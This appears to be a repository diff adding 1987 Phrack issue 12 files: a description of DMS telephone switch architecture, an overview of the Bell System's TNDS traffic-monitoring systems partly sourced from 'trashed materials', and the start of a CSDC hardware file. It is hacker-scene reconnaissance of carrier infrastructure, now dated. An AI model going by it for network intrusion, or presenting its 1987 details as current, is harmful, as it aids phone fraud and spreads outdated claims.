 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #4 of 11
4
+
5
+ <%><%><%><%><%><P><h><a><n><t><a><s><i><e><%><%><%><%><%>
6
+ <S> A Tribunal Communications Ltd. (c) 1987 <S>
7
+ <h> <p>
8
+ <a>Understanding the Digital Multiplexing System (DMS)<a>
9
+ <d> Part 1 <w>
10
+ <o> By Control C <n>
11
+ <w><%><%><%><%><%><R><e><a><l><m><%><%><%><%><%><%><%><!>
12
+
13
+
14
+
15
+
16
+ The DMS switching system, is a lot smaller than normal systems. It takes up
17
+ less than 16% of the space for the same number of Step-By-Step (SXS) lines and
18
+ 20% of cross bar. This is done by taking the hardware out of the CO and
19
+ putting them closer to a group of subscribers. Then central office services
20
+ can be provided over shorter loops.
21
+
22
+ DMS offers remote switching with a bunch of remote modules in a bunch of
23
+ sizes and capabilities. Some include SXS replacement or growth, Outside plant
24
+ cable relief, and Office feature's. The use of remote modules give the CO
25
+ more floor space that would usually be used by the Line Concentrating Modules
26
+ (LCMs), Main Distribution Frame (MDF), and cable equipment. The advantage of
27
+ these modules is that it extends the service radius of the CO, this means
28
+ outside plant savings. Remote modules can be located up to 150 miles away
29
+ without messing up transmissions.
30
+
31
+ Other advantages of the DMS system are that it allows integration between
32
+ Transmission facilities and switching systems. It's hardware & software is
33
+ designed to give a full range of switching applications for Private Branch
34
+ Exchange (PBX) business systems, local, toll, and local/toll requirements. The
35
+ same Central Control Complex (CCC) and switching networks are used throughout
36
+ the whole system. The only difference between each system is the peripheral
37
+ units, and software packages. It has a Maintenance and Administration Position
38
+ (MAP) which is a integrated multifunction machine interface that switch
39
+ maintenance, line and trunk network management, and service order changes can
40
+ be carried out.
41
+
42
+ The software for the central processor is written in PROTEL, a high level
43
+ pascal based language. Peripheral processors use a XMS-Pascal software
44
+ language.
45
+
46
+ DMS has a high line and trunk capacity. It has up to 100,000 lines on a
47
+ DMS-100 or 60,000 trunks on a DMS-200. It also gives up to 1.4 million
48
+ two-way CCS through the switching network. The processor can accept up to
49
+ 350,000 call attempts.
50
+
51
+ Here's a list of the DMS systems in use today:
52
+
53
+ DMS-100 - is a class 5 local office with the ability to handle 1,000 to
54
+ 100,000 lines. It can give basic telephone service or expanded to handle IBN
55
+ custom calling features. The DMS-100 MTX gives cellular radio services. A
56
+ local office can also be adapted to Equal Access End Office (EAEO).
57
+
58
+ Remote Switching Center (RSC) - Ability to handle up to 5,760 lines.
59
+
60
+ Remote Line Concentrating Module (RLCM) - Ability to handle up to 640 lines.
61
+ It uses host Line Concentrator Module (LCM) that can be used by the RSC or
62
+ directly by the host DMS-100.
63
+
64
+ Outside Plant Module (OPM) - Ability to handle up to 640 lines. This also can
65
+ be used by the RSC or directly by the host DMS-100.
66
+
67
+ Subscriber Carrier Module (SCM-100) - There are three basic types of
68
+ SCM-100's:
69
+ 1- Subscriber Carrier Module Rural (SCM-100R) - This eliminates the central
70
+ office Central Control Terminal (CCT) by integrating directly into the
71
+ DMS-100 through the DMS-1 span lines.
72
+ 2- Subscriber Carrier Module SLC-96 (SCM-100S) - This gives a direct
73
+ interface between DMS-100 and AT&T's SLC-96 digital loop carrier
74
+ systems.
75
+ 3- Subscriber Carrier Module Urban (SCM-100U) - It's used as an interface
76
+ to the DMS-1 Urban. The DMS-1 urban is a digital subscriber carrier
77
+ system modified for use in Urban areas. It gives Plan Ordinary
78
+ Telephone Service (POTS) and special services between a central office
79
+ and residential and business communities. It has the ability to handle
80
+ 576 lines of POTS and special services.
81
+
82
+ DMS-200 - Has the ability to handle from a few hundred to 60,000 trunks. This
83
+ switch can also serve a Access Tandem (AT) function. The Traffic Operator
84
+ Position System (TOPS) puts operator services into the DMS-200. Operator
85
+ Centralization (OC) allows a single operator location by using the TOPS
86
+ positions to transfer operator services from other DMS-200 toll centers. The
87
+ Auxiliary Operator Services System (AOSS) let operator services on calls that
88
+ need outside information (Such as Directory assistance).
89
+
90
+ DMS-100/200 - Allows local and toll features described above but also includes
91
+ a Equal Access End Office (EAEO)/Access Tandem (AT) combination. It has the
92
+ ability to handle up to 100,000 lines or 60,000 trunks.
93
+
94
+ DMS-250 - This is a high capacity toll system for specialized common carriers
95
+ needing tandem switching operations.
96
+
97
+ DMS-300 - This is a toll system designed for international use. To my
98
+ knowledge there are only two DMS-300 switches in use at this time.
99
+
100
+ DMS switches are divided into four "Functional" areas designed to do certain
101
+ operations. These areas are:
102
+
103
+ 1- Central Control Complex (CCC)
104
+ 2- Network (NET)
105
+ 3- Peripheral Modules (PM)
106
+ 4- Maintenance and Administration (MAP)
107
+
108
+
109
+ Here's a description of those areas.
110
+
111
+ Central Control Complex
112
+
113
+ Within the Central Control Complex (CCC), the main program in the switch
114
+ controls the processing of calls, maintenance and administrative routines, and
115
+ changes the activity for these routines to other areas of the switch. The CCC
116
+ sends messages to the network, the maintenance and administrative areas trough
117
+ message links and directs the functions to be run in those areas.
118
+
119
+ Network
120
+
121
+ The Network Modules (NMs) handle the routing of speech paths between the
122
+ Peripheral Modules (PMs) and keep these speech connections for the rest of the
123
+ call. The network handles message and speech links between the PMs and the
124
+ CCC.
125
+
126
+ Maintenance and Administration
127
+
128
+ Within the Maintenance and Administration includes Input/Output Controllers
129
+ (IOCs) - IOCs interface local or remote input/output devices. The I/O devices
130
+ are used to do testing, maintenance, or administrative functions for the
131
+ system.
132
+
133
+ Peripheral Modules
134
+
135
+ Peripheral Modules (PMs) are used as interfaces between digital carrier spans
136
+ (DS-1), analog trunks, and subscriber lines. The PMs are used for scanning
137
+ lines for changes of circuit state, doing timing functions used for call
138
+ processing, creating dial tones, sending, receiving signaling, and controlling
139
+ information to and from the CCC, and checking the network.
140
+
141
+ Before 1984 only four types of PMs gave trunk interfaces to the DMS system;
142
+ these include Trunk Modules (TMs), Digital Carrier Modules (DCMs), Line
143
+ Modules (LMs), and Remote Line Modules (RLMs). Since then ten more have been
144
+ added, these include Digital Trunk Controller (DTC), Line Group Controller
145
+ (LGC), Line Trunk Controller (LTC), Line Concentrating Module (LCM), Remote
146
+ Switching Center (RSC), Remote Line Concentrating Module (RLCM), Outside Plant
147
+ Module (OPM), Subscriber Carrier Module Rural (SCM-100R), Subscriber Carrier
148
+ Module SLC-96 (SCM-100S), and Subscriber Carrier Module Urban (SCM-100U).
149
+
150
+ Here's and explanation of those modules:
151
+
152
+ Trunk Module
153
+
154
+ The Trunk Module (TM) changes incoming speech into digital format, it has the
155
+ ability to handle 30 analog trunks. The Pulse Code Modulation (PCM)
156
+ information is combined with the trunks supervisory and control signals then
157
+ transmitted at 2.56 Mb/s over speech links to the network.
158
+
159
+ The TM also uses service circuits such as Multifrequency (MF) receivers,
160
+ announcement trunks, and test circuits. Each TM has the ability to interface
161
+ 30 analog trunks or service circuits to the network over one 32-channel speech
162
+ link. The TM is not traffic sensitive so each trunk can carry 36 CCS.
163
+
164
+ Digital Carrier Module
165
+
166
+ The Digital Carrier Module (DCM) gives a digital interface between the DMS
167
+ switch and the DS-1 digital carrier. The DS-1 signal consists of 24 voice
168
+ channels. The DCM takes out and puts in signaling and control information on
169
+ the DS-1 bit streams which then makes them DS-30 32-channel speech links. The
170
+ DCM can interface five DS-1 lines; 5*24=120 voice channels; into four 32-
171
+ channel speech links. The DCM can carry a maximum of 36 CCS of traffic on
172
+ each trunk.
173
+
174
+ Line Module
175
+
176
+ The Line Module (LM) gives an interface for a maximum of 640 analog lines and
177
+ condenses the voice and signaling into two, three, or four DS-30, 32-channel
178
+ speech links. Four speech links have the ability to handle 3,700 Average Busy
179
+ Season Busy Hour (ABSBH) CCS per LM.
180
+
181
+ Remote Line Module
182
+
183
+ The Remote Line Module (RLM) is a LM operating in a remote location from the
184
+ DMS host. The RLMs can be located up to 150 miles from the host office,
185
+ depending on the transmission facilities.
186
+
187
+ Digital Trunk Controller
188
+
189
+ The Digital Trunk Controller (DTC) has the ability to interface 20 DS-1 lines.
190
+ Then the DS-1 lines are linked to the network by a maximum of 16 DS-30 speech
191
+ links; each trunk is able to handle 36 CCS.
192
+
193
+ Line Group Controller
194
+
195
+ The Line Group Controller (LGC) dose medium level processing tasks, with the
196
+ ability to use host and remote subscriber line interfaces. The LGC has the
197
+ ability to use Line Concentrating Modules (LCMs), Remote Switching Centers
198
+ (RSCs), Remote Line Concentrating Modules (RLCMs), and Outside Plant Modules
199
+ (OPMs).
200
+
201
+ The LGC can interface up to 20 DS-30 speech links from the LCMs or up to 20
202
+ DS-1 links with the ability to serve RSCs, RLCMs, or OPMs.
203
+
204
+ Line Trunk Controller
205
+
206
+ The Line Trunk Controller (LTC) combines the DTC and LGC functions and gives a
207
+ way to use all the equipment inside the office. The LTC has the ability to
208
+ handle the LCM, RSC, RLCM, OPM, and digital trunk interfaces.
209
+
210
+ The LTC has the ability to give interfaces to a maximum of 20 outside ports
211
+ from DS-30A speech links or DS-1 links to 16 network side DS-30 speech links.
212
+
213
+ Line Concentrating Module
214
+
215
+ The Line Concentration Module (LCM) when used with the LGC or LTC is just an
216
+ expanded version of the line Module. It can serve up to 640 subscriber lines
217
+ interfaced with two to six DS-30A speech links. Using six speech links 5,390
218
+ CCS can be handled per LCM.
219
+
220
+ Remote Switching Center
221
+
222
+ The Remote Switching Center (RSC) interfaces subscriber lines at a remote
223
+ location to a DMS-100 host. It has the ability to handle interface for 5,760
224
+ lines and is used a replacements for dial offices or Private Branch Exchanges
225
+ (PBXs). It can handle 16,200 CCS with the use of 16 DS-1 links.
226
+
227
+ The RSC consists of the following:
228
+
229
+ Line Concentrator Module (LCM) - These modules do line interface function.
230
+ They are the same as the LCMs that are used in the DMS-100 host.
231
+
232
+ Remote Cluster Controller (RCC) - This controller gives DS-1/LCM interface,
233
+ Local switching inside the remote, and Local intelligence and signaling when
234
+ in ESA.
235
+
236
+ Remote Trunking - Handles the use of RSC originating or terminating traffic
237
+ for digital trunking off the RSC. It can give trunking to a CDO co-located
238
+ with the RSC or within the service range of the RSC, Private Automatic Branch
239
+ Exchanges (PABXs), or Direct Inward Dialing (DID) trunks.
240
+
241
+ Remote-off-Remote - Lets the RLCMs and OPMs connect to the RCC through DS-1
242
+ interfaces. It lets RLCM and OPM subscribers to use the same lines to the host
243
+ as the RSC subscribers.
244
+
245
+ Emergency Stand-Alone (ESA) - If communication with the DMS-100 is lost this
246
+ will allow you to call internal to the RSC. It will give station-to-station
247
+ and station-to-trunk calls for POTS, IBN, and electronic business sets.
248
+
249
+ Remote Line Concentrating Module
250
+
251
+ The Remote Line Concentrating Module (RLCM) is just a LCM used is a remote
252
+ location from the DMS-100 host. The RLCM can handle 640 lines; this can is
253
+ sometimes used as a replacement for CDOs or PBXs.
254
+
255
+ Outside Plant Module
256
+
257
+ The Outside Plant Module (OPM) is an outside plant remote unit. The OPM can
258
+ handle 640 lines over six DS-1 links.
259
+
260
+ Subscriber Carrier Module
261
+
262
+ The Subscriber Carrier Module (SCM) gives a direct interface for remote
263
+ concentrators.
264
+
265
+ SCM-100R - It can interface up to five Northern Telecom DMS-1 Rural Remote
266
+ Terminals (RTs). A DMS-1 rural remote terminal can interface up to 256 lines.
267
+ Communication between the RT and SCM- 100R is done through one or two span
268
+ lines for voice and one protection line.
269
+
270
+ SCM-100U - It can interface up to three DMS-1 Urban RTs. A DMS-1 Urban can
271
+ interface up to 576 POTS or special service lines. Communication from the RT
272
+ to the SCM-100U us done through a maximum of eight DS-1 links.
273
+
274
+ SCM-100S - It can interface up to four Mode I (non-concentrated) SLC-96
275
+ systems or up to six Mode II (concentrated) systems. A SLC-96 can give
276
+ interface for up to 96 lines.
277
+
278
+ The SCM-100 takes away the need for central concentrating terminals and analog
279
+ line circuits at the host.
280
+
281
+ Operator Features
282
+
283
+ With the use of DMS-200 or DMS 100/200 switch, operator features are available
284
+ by the following:
285
+
286
+ Traffic Operator Position System (TOPS)
287
+ Operator Centralization (OC)
288
+ Auxiliary Operator Service System (AOSS)
289
+
290
+ Traffic Operator Position System (TOPS) gives many operator function on inward
291
+ and outward calls. The TOPS integrates the operator system with the DMS-200
292
+ or DMS-100/200 toll switch.
293
+
294
+ One voice and one data circuit are needed for each operator position. The
295
+ voice circuit is connected to a port of a three-port conference circuit. The
296
+ other two ports are connected to the calling and called parties. The data
297
+ circuit is used for a digital modem and is used to transmit data punched in by
298
+ the operator to the CCC for processing.
299
+
300
+ Operator Centralization
301
+
302
+ Operator Centralization (OC) lets the operator use the services given by the
303
+ DMS-200 or DMS-100/200 with TOPS. With OC operator traffic from surrounding
304
+ DMS sites can be routed to a central host site.
305
+
306
+
307
+
308
+
309
+
310
+ Operator Centralization Diagram
311
+
312
+
313
+
314
+ Routing - - -
315
+ <-----\ DMS-200 | AMA |
316
+ \ Remote TC / - - -
317
+ = = = = = = = /
318
+ | \ ----- ___|_/
319
+ | \: DMS : |
320
+ | : 200 : | Host TC -----
321
+ | : : | = = = = = = = = /| POS |
322
+ | : (OC:___| | --------- | / |- - -|
323
+ | : : |\ | : DMS-200 : | / |Oper.|
324
+ | -----\ | \ | : (TOPS) :__|_/ -----
325
+ = = = = = = = \____________|__: : |
326
+ Trib Ope Traffic->\ ____________|__:OC) : |
327
+ \ / | : : |
328
+ Non-DMS Remote TC / | --------- |
329
+ = = = = = = = = = = = = = = = = = = =
330
+ | -------- ----- |
331
+ | : TDM : : (OC: |
332
+ | : Switch : : : | -----
333
+ | : : : DMS :_|_____: AMA :
334
+ | : : : 200 : | -----
335
+ | /-------- -----\ |
336
+ = = = = = = = = = = =
337
+ /Routing \ <-Trib Opr Traffic
338
+ \-------> \
339
+
340
+
341
+
342
+ Auxiliary Operator Services System
343
+
344
+ The Auxiliary Operator Services System (AOSS) is made to handle directory
345
+ assistance, intercept, and that type of operator services, automatic call
346
+ distribution, call processing, call detail recording, and operator
347
+ administration functions for other operator services that do not need call
348
+ completion to a called party. AOSS position uses the same hardware as the
349
+ TOPS links to the switch.
350
+
351
+ Equal Access
352
+
353
+ Equal Access (EA) is accessible through DMS switches with the addition of
354
+ software packages. Both Equal Access End Office (EAEO) for the DMS-100 and
355
+ Access Tandem (AT) for the DMS-200 provide equal access features.
356
+
357
+
358
+
359
+
360
+ Equal Access Network Application
361
+
362
+
363
+
364
+
365
+ --------- __________________________________
366
+ (Phone)--------| DMS-100 |___________ |
367
+ --------- | |
368
+ NON-EAEO | |IC/INC
369
+ -------- -------- /---------\ TO
370
+ (Phone)---| |------------| DMS-200 |------------ ---- IC/INC
371
+ -------- --------- \---------/ /----->
372
+ | |
373
+ --------- ___________| |
374
+ (Phone)--------| DMS-100 |__________________________________|
375
+ ---------
376
+
377
+
378
+
379
+ DMS-100 EAEO
380
+
381
+ The DMS-100 EAEO gives direct access to interLATA (Local Access and Transport
382
+ Area) carriers Point of Presence (POP) inside the LATA. The DMS-200 AT gives
383
+ a traffic concentration and distribution function for interLATA traffic
384
+ originating or terminating inside a LATA. It allows the following:
385
+
386
+ 10XXX and 950-1XXX dialing
387
+ presubscription dialing
388
+ equal access and normal network control signaling
389
+ Automatic Number Identification (ANI) on all calls
390
+ custom calling services
391
+
392
+ Common Channel Interoffice Signaling
393
+
394
+ Common Channel Interoffice Signaling (CCIS) uses a separate data link to
395
+ transmit signaling messages between offices for many trunks and trunk groups.
396
+ There are two types of CCIS available in the DMS-200 or DMS-100/200, Banded
397
+ Signaling (CCIS-BS) and Direct Signaling (CCIS-DS).
398
+
399
+ CCIS-BS is for interoffice trunk signaling to give information on digits
400
+ dialed, trunk identity, and other class and routing information. This kind of
401
+ trunk signaling takes less time to setup calls and put's an end to Blue
402
+ Boxing.
403
+
404
+ CCIS-DS is used to transfer call handling information past what is required
405
+ for trunk setup. This type of signaling lets calling card validation,
406
+ mechanized calling card services and billed number screening to be used.
407
+
408
+ Cellular Mobile Radio Service
409
+
410
+ Cellular Mobile Radio Service is possible with the DMS-100 Mobile Telephone
411
+ Exchange (MTX). The MTX has the ability to serve from a few hundred to over
412
+ 50,000 people in up to 50 cells.
413
+
414
+ Thanks to Northern Telecom and my local CO.
415
+
416
+ Control C
417
+ ToK!
418
+
419
+ March 1987
420
+ End of Part 1
421
+ <%><%><%><%><%>
422
+
phrack/issue12/5.txt ADDED
@@ -0,0 +1,252 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #5 of 11
4
+
5
+ THE TOTAL NETWORK DATA SYSTEM
6
+
7
+
8
+ BY DOOM PROPHET
9
+
10
+
11
+
12
+
13
+ The Total Network Data System is a monitoring/analysis network used by
14
+ several offices within the Telco to analyze various levels of switching
15
+ systems in relation to maintenance, performance, and future network planning
16
+ purposes. The systems and the offices that use them will be described in
17
+ detail in the following text.
18
+
19
+
20
+ All switching entities that are in one particular serving area collect
21
+ traffic information that is classified in three ways: peg count, overflow, and
22
+ usage. Peg count is a count of all calls offered on a trunk group or other
23
+ network component during the measurement interval, which is usually one hour.
24
+ It includes calls that are blocked, which is classified as overflow traffic.
25
+ The other measurement types that the TNDS network analyzes and collects are as
26
+ follows:
27
+
28
+ Maintenance Usage (for 1ESS, 2ESS, 5XB, 1XB, XBT)
29
+
30
+ Incoming Usage (for 1E, 2E, 4AETS)
31
+
32
+ All trunks busy (SxS)
33
+
34
+ Last Trunks Busy (SxS)
35
+
36
+ Completions (SxS, 5XB, XBT, 1XB)
37
+
38
+ Incoming Peg Count (DMS)
39
+
40
+ Maintenance Busy Count (2E, 3E)
41
+
42
+ Detector Group Usage (SxS, 5XB, XBT, 1XB)
43
+
44
+ In ESS and DMS offices, traffic data is collected by the central processor of
45
+ the switch. In electomechanical offices such as crossbar, a Traffic Usage
46
+ Recorder is used to scan trunks and other components about every 100 seconds,
47
+ counting how many are in use. This data when compiled is sent to the EADAS
48
+ system, which is located in the Operating Company's Network Data Collection
49
+ Centers and runs on a minicomputer. 4ESS and 4Xbar toll offices do not use
50
+ EADAS, but their own system called the Peripheral Bus Computer for traffic
51
+ data analysis. After receiving the traffic data from up to 80 switching
52
+ offices, EADAS performs two basic functions: It processes some data in near
53
+ real time (shortly after it is received) to provide hourly and half hourly
54
+ reports and a short term database for network administrators. It also collects
55
+ and summarizes data that it will pass on to the other TNDS systems via data
56
+ links or magnetic tape.
57
+
58
+ Three other systems receive directly from EADAS. These systems are ICAN,
59
+ TDAS, and EADAS/NM. ICAN stands for Individual Circuit Analysis plan and is
60
+ used to study individual circuits in central office equipment that have been
61
+ specified by network administrators.
62
+
63
+ TDAS is the Traffic Data Administration System, which formats traffic data
64
+ for use by the remaining downstream systems. ICAN and EADAS/NM are the only
65
+ two systems with data links to EADAS that don't have their data formatted by
66
+ TDAS before reception. TDAS is run on a mainframe in the NDCC and can be
67
+ thought of as a distribution facility for the traffic data. EADAS/NM is used
68
+ to watch switching systems and trunk groups designated by network managers,
69
+ and reports existing or anticipated congestion on a display board at the
70
+ Network Management Centers, where the system is located. Problems can be
71
+ analyzed with this system and dealt with within a short period of time after
72
+ they occur.
73
+
74
+ Central Office Reporting Systems
75
+ --------------------------------
76
+
77
+ There are five TNDS engineering and administrative systems that provide
78
+ operating company personnel with reports about CO switching equipment. These
79
+ are the LBS, 5XBCOER, SPCSCOER, ICAN, and SONDS. LBS, the Load Balance System,
80
+ helps assure that the customer traffic load is uniformly distributed over each
81
+ switching system. It minimizes congestion on the concentrators, which allow
82
+ subscribers to share the equipment in the switch. The LBS analyzes traffic
83
+ data coming to it from TDAS to determine the traffic load on each line group
84
+ that the system serves. LBS generates reports used by the NMC to determine
85
+ line groups that can have new incoming subscriber lines assigned to them. LBS
86
+ also does a load balance indexes for the entire operating company, indicating
87
+ how effectively each CO has avoided congestion.
88
+
89
+ Crossbar #5 Central Office Equipment Reports (5XBCOER) and Stored Program
90
+ Control Systems COER used for 1, 2, and 3 ESS offices, analyze traffic data to
91
+ indicate the overall service provided by the switching system and to tell how
92
+ much of its capacity is being used. This info helps determine if new equipment
93
+ is needed.
94
+
95
+ ICAN, which was described briefly above, detects switching system
96
+ equipment faults by identifying abnormal load patterns on individual circuits.
97
+ A series of reports printed at the Network Administration Center helps network
98
+ administrators analyze individual circuit usage and verify circuit grouping.
99
+ ICAN is located at the BOC main computer center along with 5XBCOER.
100
+
101
+ The fifth CO equipment reporting system is called the Small Office Network
102
+ Data System, or SONDS. SONDS performs a full range of data manipulation
103
+ functions, and is used to provide economically the full TNDS features for step
104
+ by step offices. Step offices send data directly to this system, and it is not
105
+ formatted by EADAS or TDAS, as it doesn't go through these systems. Weekly,
106
+ monthly, exception and on demand reports are automatically distributed by
107
+ SONDS to the NAC personnel.
108
+
109
+
110
+ Trunk Network Reporting Systems
111
+ -------------------------------
112
+
113
+ These systems are parts of the TNDS used by the Circuit Administration
114
+ Center to support trunk servicing and forecasting. The Trunk Servicing System
115
+ helps trunk administrators develop short term plans to make the best use of
116
+ the trunks that are already in use. It receives and processes data received
117
+ from TDAS and computes offered load. Offered load is the amount of traffic a
118
+ trunk group would have carried had the number of circuits been large enough to
119
+ handle the load without trunk blocking (giving the caller a re-order or all
120
+ circuits busy recording). TSS produces weekly reports showing underutilization
121
+ of trunks and below grade of service trunk groups which do not have enough
122
+ trunks in them. The CAC uses these reports to add or disconnect trunks
123
+ according to what traffic requirements exist.
124
+
125
+ The Traffic Routing and Forecasting System, replacing the Trunk
126
+ Forecasting System, forecasts message trunk requirements for the next five
127
+ years. Major conversions and similar network changes are all taken into
128
+ consideration when determining the future traffic needs. TRFS receives data
129
+ from EADAS, TDAS, and TSS and is located at the Operating Company computer
130
+ center.
131
+
132
+
133
+ Since TDAS and some of the downstream TNDS systems need much of the same
134
+ information, that information is maintained in a system called Common Update.
135
+ In this manner, some data does not have to be duplicated in each individual
136
+ system. Some of the information includes the configuration of switching
137
+ equipment and the trunk network and specifications on traffic registers for
138
+ central offices. Numbers recorded by each register are treated consistently by
139
+ each system that uses the Common Update data base. There is an update base for
140
+ trunking, referred to as CU/TK, and an update on equipment known as CU/EQ. The
141
+ trunking part of the Operating Company's data base is coordinated by the Trunk
142
+ Records Management System.
143
+
144
+ Since the TNDS systems are so important to the proper operation of the
145
+ network, the CSAR (Centralized System For Analysis and Reporting) is used to
146
+ monitor the entire TNDS performance. The NDCC, the NAC, and the CAC are
147
+ provided with measurements of the accuracy, timeliness, and completeness of
148
+ the data flow through TNDS from beginning to end. It doesn't analyze data from
149
+ EADAS/NM, SONDS, or TRFS.
150
+
151
+
152
+
153
+
154
+ BOC Operations Centers
155
+ ----------------------
156
+
157
+ NAC-Network Administration Center. Responsible for optimum loading, and
158
+ utilization of installed COE. Performs daily surveillance of COs and trunk
159
+ groups to ensure service objectives are being met. The NAC Reviews profiles of
160
+ office load relating to anticipated growth. They work with NSEC to initiate
161
+ work orders to increase equipment in use. The systems they use are EADAS,
162
+ SPCSCOER, CSAR, and SONDS.
163
+
164
+ NMC-Network Management Centers. The NMC keeps the network operating
165
+ efficiently when unusual traffic patterns or equipment failures would
166
+ otherwise result in congestion. The NMC analyzes network performance and
167
+ prepares contingency plans for peak days, telethons, and major switch
168
+ failures. They monitor a near real time network performance data to identify
169
+ abnormal situations. The system they use is EADAS/NM.
170
+
171
+ CAC-Circuit Administration Center. The CAC ensures that in service trunks
172
+ meet current as well as anticipated customer demands at acceptable levels of
173
+ service. For planned servicing, the CAC compares current traffic loads with
174
+ forecasted loads for the upcoming busy season. If the loads are consistent,
175
+ the CAC issues the orders to provide the forecasted trunks. When
176
+ inconsistencies occur, they examine the variation, develop modified forecasts,
177
+ and issue orders based on the new forecast. They review weekly traffic data to
178
+ identify trunk groups that need additions and issue the necessary trunk
179
+ orders. The systems they use are TSS, TRFS, and CSAR.
180
+
181
+ NSEC-Network Switching Engineering Center. They plan and design the
182
+ network along with the CAC. NSEC develops a forecast of loads for traffic
183
+ sensitive switching equipment, sets office capacities, and determines relief
184
+ size and timing.
185
+
186
+
187
+ For long range planning, the following offices are utilized.
188
+
189
+ TNPC-Traffic Network Planning Center. The TNPC determines the most
190
+ economic growth and replacement strategies. They handle future network
191
+ considerations over a 20 year period for tandem systems, operator services
192
+ networks, interconnecting trunks, and switching terminations to accommodate
193
+ the trunks.
194
+
195
+ WCPC-Wire Center Planning Center. This office does the same as the TNPC,
196
+ but their jurisdiction includes local switches, the subscriber network, and
197
+ interoffice facilities. They have the numbers, types, and locations of
198
+ switches and homing arrangements. They also keep track of alternate routes,
199
+ tandem centers, etc. Both the TNPC and WCPC provide the CAC and NSEC with
200
+ office and network evolution plans for 20 years.
201
+
202
+
203
+ District based maintenance and administration operations are handled by
204
+ the NAC, RCMAC, and the SCC. These can cover 240 square miles of serving area.
205
+
206
+
207
+ Network Operations Centers
208
+ --------------------------
209
+
210
+ The highest level of network operations is the Network Operations Center,
211
+ located in the AT&T Long Lines HQ in Bedminster, NJ. The main computers used
212
+ by the NOC are in Netcong, about 25 miles away, along with some backups. The
213
+ NOC are responsible for interregional coordination between the 12 RNOCs, 27
214
+ NMCs, and 2 RNMCs in Canada; for monitoring the top portion of toll switches
215
+ (all class 1 Regional Centers, 2 Canadian, about 70 class 2 Sectional Centers,
216
+ 200 Primary centers, some class 4 Toll centers); for monitoring of the
217
+ international gateways, and the CCIS network for these switching systems. The
218
+ STP signalling links connect STPs to each other, to switches, and to a
219
+ centralized database called an NCP (Network Control Point) of which access is
220
+ given to switches directly via CCIS.
221
+
222
+ The Data Transfer Point, which is a data switch that furnishes the NOC with a
223
+ flow of monitoring information for all key toll switches, also gives them
224
+ information about CCIS STPs and the IOCCs that they monitor.
225
+
226
+ The operating system supporting the NOC is the NOCS (the S being System),
227
+ which is configured with the DTP, a wall display processor, graphics
228
+ processors, receive only printers, and CRT terminals for the technicians. The
229
+ NOC also uses EADAS/NM through the DTP. Both the NOCS and the DTP run Unix
230
+ operating systems.
231
+
232
+
233
+ The second highest level of these operations centers are the RNOCs, or
234
+ Regional Network Operations Centers. The 12 RNOCs monitor the CCIS network and
235
+ coordinate the 2-3 NMC's activities for its region. The RNOCs use the EADAS/NM
236
+ system and something called NORGEN, Network Operations Report Generator, that
237
+ prints out reports from EADAS's traffic data.
238
+
239
+ The first or lowest level of these centers is the Network Management
240
+ Centers. There were 27 EADAS/NM supported NMCs across the United States as of
241
+ 1983. The NMC was described above, as well as the systems it used.
242
+
243
+
244
+ ==============================================================================
245
+
246
+ Some of this information was taken from Bell System publications and from
247
+ trashed materials, and may not be the same for every area. All material is
248
+ correct to the best of the author's knowledge. Thanks to The Marauder for
249
+ supplying some information. This file was written for educational purposes
250
+ only.
251
+
252
+ -End Of File-
phrack/issue12/6.txt ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Written March, 1987
2
+
3
+ ==Phrack Inc.==
4
+
5
+ Volume Two, Issue 12, Phile #6 of 11
6
+
7
+ /\ /\
8
+ <[]>==========================================<[]>
9
+ \/ ^ ^ \/
10
+ || PLP [+]The Executioner[+] PLP ||
11
+ ++ ^ ^ ++
12
+ || [+] PhoneLine Phantoms! [+] ||
13
+ ++ ++
14
+ || CSDC - Hardware Requirements ||
15
+ ++ ----------------------------- ++
